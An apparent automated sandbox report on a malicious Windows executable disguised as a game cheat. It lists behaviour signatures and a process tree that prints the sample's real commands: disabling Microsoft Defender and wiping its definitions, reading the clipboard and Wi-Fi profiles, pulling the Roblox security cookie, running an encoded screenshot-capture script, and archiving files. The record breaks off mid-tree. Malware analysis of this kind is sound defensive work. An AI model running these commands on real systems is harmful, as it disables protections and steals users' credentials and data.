Overview

overview

10

Static

static

10

xaa0615f33...38.exe

windows10-2004-x64

8

xaa0615f33...38.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 02:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe
  • Size 7.6MB
  • Sample260701-c28chacy9r
  • SHA256 aa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealerupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • UPX packed file 53 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe
    "C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe
      "C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3384
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xaa0615f338c94ccb7de6234d93e3ea6db52b835182facdd602cd1ada7f562638.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1484
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:3004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Hile kullanıma hazır!!', 0, 'Satans Cheat', 48+16);close()"
          4⤵
            PID:1004
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3552
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3380
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2744
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:4044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5964
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2412
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5152
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4052
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:2840
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4040
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:124
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3996
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:5564
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5728
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1096
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2whruasd\2whruasd.cmdline"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4736
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7788.tmp" "c:\Users\Admin\AppData\Local\Temp\2whruasd\CSC6D718EC32405410093ED950973B60A.TMP"
                  6⤵
                    PID:5096
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3888
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:5876
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5236
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:3444
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5108
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:592
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5692
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:3436
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5888
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:3268
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4292
                        • C:\Windows\system32\getmac.exe
                          getmac
                          4⤵
                            PID:5100
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5824
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4236
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1912
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3524
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29162\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\oista.zip" *"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4504
                          • C:\Users\Admin\AppData\Local\Temp\_MEI29162\rar.exe
                            C:\Users\Admin\AppData\Local\Temp\_MEI29162\rar.exe a -r -hp"satan" "C:\Users\Admin\AppData\Local\Temp\oista.zip" *
                            4⤵
                            • Executes dropped EXE
                            PID:1000
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:552
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic os get Caption
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1180
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1220
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic computersystem get totalphysicalmemory
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3368
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2356
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic csproduct get uuid
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2720
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5512
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:6112
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1260
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic path win32_VideoController get name
                            4⤵
                            • Detects videocard installed
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2328
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2576
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
